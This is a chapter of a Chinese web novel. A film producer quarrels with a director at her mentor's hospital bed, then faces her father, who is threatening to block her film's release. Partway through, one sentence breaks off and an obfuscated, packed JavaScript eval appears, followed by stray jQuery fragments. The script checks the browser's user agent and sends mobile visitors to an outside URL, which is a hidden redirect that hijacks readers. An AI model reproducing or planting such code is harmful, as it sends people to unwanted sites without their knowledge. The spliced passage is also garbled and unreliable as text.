凌晨不好打车，程申申在机场等了一个多小时，加价到两千才有专车师傅接。山路难行，天大亮才到地方，下车就听高家明病房已经来客人了。


    昨晚的酒劲儿虽迟但到，她还没来得及问客人是谁，就感觉胃里开始翻江倒涌。等她蹲草丛旁边吐完已经双脚发软，不得不先去食堂吃点东西。


    她计算时间差不多了，来到高家明病房外，正要敲门就听见那句“电影传达的三观很扭曲”。熟悉的声音，记忆深刻的冰冷语气，如果不是高家明后面那番肺腑之言，她早冲进去了。


    面对突然出现的程申申，高家明惊得差点把手里的豆包扔出去。温蘅要淡定许多，但眼中却依旧闪过几丝明显疑惑——《置换》是罗布斯塔的项目？


    而这种疑惑落到程申申眼里就成了讥讽，她来到温蘅面前站定，俯视他：“你这种人，没资格随便指摘别人辛苦付出得来的结果。”


    某种意义上，温蘅不明白她为什么会对自己有那么强烈的敌意。他认为：三年前是他的好言规劝，而今天所说的一切单纯是他跟老师进行的观后感分享而已。


    程申申这状态自然就是高家明口中的炸毛了，说这话的人只恨自己不该乌鸦嘴，赶忙放下豆包伸手打圆场，“哎呀哎呀！你俩都是自己人，有话坐下来好好说啊。”


    程申申斜着温蘅，“谁跟人渣是自己人！”


    温蘅不语，只微微侧开身，用行动表达了自己的态度。


    高家明一个头两个大，一个胡闹不够，一向沉稳懂分寸的好学生怎么也意气用事？


    程申申见状火气蹭地就窜出两米高，正要发作就看温蘅站了起来，面向她说：“关于程小姐所说的，我随便指摘别人东西这件事，我无法认同。”


    程申申：“？”


    温蘅继续说：“首先，我合情合法看完剧本，发表意见是我的权益，如果意见不是创作者喜欢听的，那与我无关。其次，我对于程小姐偷听别人对话的行为不敢苟同并嗤之以鼻。最后，我从不与被一叶障目、管中窥豹的人争辩对错。”


    他没给程申申插话的机会，一口气把话说完，趁程申申还懵着扭头看高家明：“老师，见到您没大碍我就放心了，晚上我还约了人，先回去了，您注意休息。”


    高家明也被他那番话震惊到了，还是第一次见他一口气说这么长的句子，大脑没太反应过来，本能跟温蘅说：“行，我没事的，你不用担心我。”


    听病房门被轻轻阖上，程申申才回过神来。


    什么叫一叶障目、管中窥豹？他敢自称自己是豹？真不要脸！


    高家明最清楚程申申的脾气，赶在她发作之前把她拉到身边让她坐下，好声好气哄道：“就当刚才是听了一段社会新闻。都过去了过去了~”说着还抬手在程申申面前挥了挥，挥完立马扯开话题：“你最近项目筹备的怎么样，还顺利吗？”


    哪知这话一出，她脸色更难看了。


    高家明平时不怎么上网，什么话题、热搜更是一概不知，然而见她这幅郁闷状态便只能想到一个原因，他试探着问：“你爸......知道你要拍《重置》的事了？”


    分散对一个讨厌鬼的厌恶，只需要另一个更讨厌的人出现。


    程申申瞬间把刚才的事忘了，她坐正嗯了声，“他早知道了，就等开机前一刻堵我呢。”


    高家明急问：“那现在是什么情况？电影还能正常开机吗？”


    程申申看过去，她忽略前面的问题，“当然能，而且还会风风光光的开机。”


    高家明不免要给她泼冷水，“你爸手段我是清楚的，你拿什么开机？你有钱？有演员？”他说道这里突然看向自己打石膏的腿，“我现在还是这幅模样......”


    如他所言，程申申什么都没有，但艰巨的现状却容不得她慌张。


    高家明很焦虑，这次换程申申哄他：“没事，您就好好修养，剩下的交给我。”


    “你以为自己是铁人？也要注意身体才行啊，看这脸色难看的，不知道的还以为你才是住院那个呢。”高家明轻轻在她脸上揪了下，但她太瘦揪不起肉。


    “电影还没拍呢，我倒不了。”程申申笑着说。


    “行行行，我相信你，”高家明说这话时心里却没谱，说完瞧着程申申心情似乎还不错，犹豫了几秒才说：“其实有件事我想和你商量。”


    “什么？”程申申摸了下餐桌上的饭盒，里面的小米粥已经凉了，“等会儿再说吧，我让他们去把早饭给你热热，凉着吃对胃不好。”


    “先搁着，”高家明拦下她，让她重新坐好听自己说：“你对温蘅印象是不是很差？”


    怎么又绕到这个人身上了？


    程申申无语，“纠正一下啊，我对他没有任何印象。”


    高家明瞬间就懂她的态度了，他双手撑在床上，将身体往程申申那边靠了靠，“如果我用我的人格帮他担保他绝对没做过那件事，你能不能信我？”


    程申申乍然没听懂，“干嘛这么严肃？”


    高家明也没跟她绕关子，直说：“我想让温蘅接替我做《置换》的导演。”


    程申申：“......”


    这还不如直接杀了她。


    两天后，被泥石流堵塞的道路彻底疏通，高家明被转到市里面的医院。


    程申申坚持再整体做一遍检查，高家明嘴上说不用，却还是很配合的完成了。


    检查结果跟县医院的一样，程申申才彻底放心回京北。


    高家明让她把自己提议的事放在心上，她放在心上的表现就是她找人去查那件事的来龙去脉。


    跟网上流传的版本差不多，但有一点很可疑——温蘅那张赤裸上身的照片是在醉酒情况下被拍的。


    混娱乐圈的都知道，同一个剧组里男女之间互相睡是再正常不过的事，自然也有不少偏爱拍照留念的。但醉酒被拍就不一样了——这种情况下要么是被仙人跳威胁谋财，要么就是......他得罪了什么人，人家要搞他。


    结果来看，温某人应该是被故意恶搞了。


    程申申头疼，能让高家明用人格担保的没几个，如果温蘅真是被冤枉的，那她的所作所为不就很小丑吗？


    但是不对啊，她拒绝高家明的提议并不是因为他是人渣，而是这人自大又自负，根本配不上她的项目啊！


    啊对对对！


    即便不是人渣也是自负狂！


    这种人不可能成为她的合作伙伴！


    绝对不可能！


    -


    程申申出差回来只要没有天大事情，都会第一时间回老宅给奶奶报平安。


    爷爷去世后，老宅就只剩奶奶一人住了，程申申虽跟她不亲，但为着爷爷也得时刻尽到做孙女的责任。


    程家老宅在西五环，三层古色的建筑被微微起伏的青山和绿树包围。


    程申申到时，一辆劳斯莱斯正堵在雄伟的桃木大门前，不远处还站了个穿着黑西装的男司机。于是她踩刹车的脚就换了位置，直接撞了上去。


    劳斯莱斯立刻尖叫起来，司机慌忙冲过来查看，见程申申从车上下来，立刻站直，恭敬问候“小姐好。”


    程申申走到劳斯莱斯旁边，又抬脚踹了两下，跟司机说：“你家程先生义务教育忘记学思想品德吗？好狗还知道不挡门呢，他停这里是等我叫拖车吗？”


    司机不敢接话，只低头听着。


    程申申说完就爽了，转身就走。


    老宅管家秦叔听到动静出来查看，开门看见程申申很是惊喜，“申申回来啦，吃晚饭了吗？”


    秦叔是看着程申申长大的，他们之间没那些客套，她直接问：“人在哪儿？”


    秦叔：“在、在客厅。”


    程申申嗯了声，“奶奶呢？”


    秦叔回答：“在书房。”


    程申申来到玄关前，侧身对秦叔说：“您也先去书房。”


    秦叔知道这是又要吵架的


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15100249|163782||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    意思，却只能无奈点头，“好。”


    书房在二楼，爷爷喜静，隔音做了最高级别，现在反而成了奶奶的避风港。她见不得家里那对冤家父女吵架，每次程松来老宅她都躲进书房。


    程申申进门换鞋，关鞋柜声音巨大，坐在客厅沙发上的程松只当听不见，皇帝宣达圣旨般跟电话那头的人说：“一次查不出就两次、三次，道理不懂吗？”


    他说的是指找人举报程申申的公司罗布斯塔有偷税漏税问题，程申申离开京北这两天，税务局派人来查了三次，闹得现在全公司上下人心惶惶。


    程申申去到他正对面的单人沙发上坐下，掏出手机给公司法务发信息。


    她说：【明天给程氏影业发律师函，告他们污蔑。】


    法务很快回复：【......污蔑咱们啥？】


    她把刚程松说的那句话的录音转成文件发了过去，【让他们赔偿我们名誉费，两千万，少一毛都跟他们没完。】


    法务：【......好的。】


    “难得这么忙还有空回来。”程松已经挂了电话，他身着休闲灰西装，头发梳得板板正正的，一侧胳膊搭在沙发扶手上，双腿叠放，姿态高高在上地看过来。


    “大约是猜到有人会在老宅堵我，不来不免可惜了。”程申申收了手机。


    话虽如此，但程申申还是意外程松会在老宅等她的。她以为程松会在她彻底走投无路时才出面跟她谈条件，不成想他比她想象中沉不住气多了。


    她用词是‘堵’而非‘等’。


    程松听出她话里的揶揄，也不生气，反而笑了下，“关心出差的女儿难道不是做父亲该做的吗？”


    程申申被他逗笑，“程总最近没少哄儿子吧？怎么还沉浸角色不可自拔了。”


    程松脸上的笑容瞬间凝住，“你知道了？”


    程申申靠在沙发上，找了个舒服姿势，反问：“你该不知道吗？”


    程松想想觉得也对，他亲生的女儿就算再废物这点侦查力还是该有的，他恢复以往的镇定，“你知道也好，改天一起吃个饭。”


    程申申拒绝：“别了，忍不住恶心吐到小少爷脸上可不好看。”


    她把话说的难听，程松却不会轻易被她激怒，他只说：“时间地点我来定。”


    程申申直接闭起眼睛，只当他刚放了个屁。


    老宅是爷爷年轻时亲手设计的，他老人家偏爱核桃木，很多家具和摆件都跟核桃木有关。可核桃木需要很精心打理才能确保不变色、开裂。


    秦叔跟了爷爷三十多年，可终究不懂核桃木的珍贵，天花板上的核桃木雕花早已没了最初夺目的光彩。此时客厅没开顶灯，就更显那木头灰暗。


    程松无意久留，他说：“我提议的事你考虑的如何？”


    程申申没睁眼，装糊涂：“什么事？”


    “你该清楚，没有程氏助力，即便拍出来也不会顺利上映。”程松此刻说话的神态像极了在跟一个公司底层的员工说：离开程氏你什么都不是。


    他说的无法上映是指电影将不会被院线排片。通俗易懂就是：即便电影上映，大部分影院也不会上线，观众也就不可能买到《重置》的电影票。


    国内的院线企业就那么几家，程氏几乎在每家都有控股，只要程松一句话，那些院线有一百个胆子也不敢上程申申的电影，到时《重置》只能灰溜溜下映。


    撤投资、演员毁约、制作团队退出，这些不过是程松警告女儿的开胃菜，此时此刻才是正餐。


    但无论前菜还是正餐，都不过走个过场罢了——他断定他的宝贝女儿会赌上一切拍这部电影。他太了解程申申，跟他一样自信自己永远会赢。所以只要给她一个台阶，她就会为了那所谓的自我救赎奋不顾身。因此，他不介意偶尔放下身段主动一次。


    老式钟表滴答滴答走得强健，跟程申申有些急促的心跳声融聚到一起。


    终于，她说：“可以合作，但我要加码。”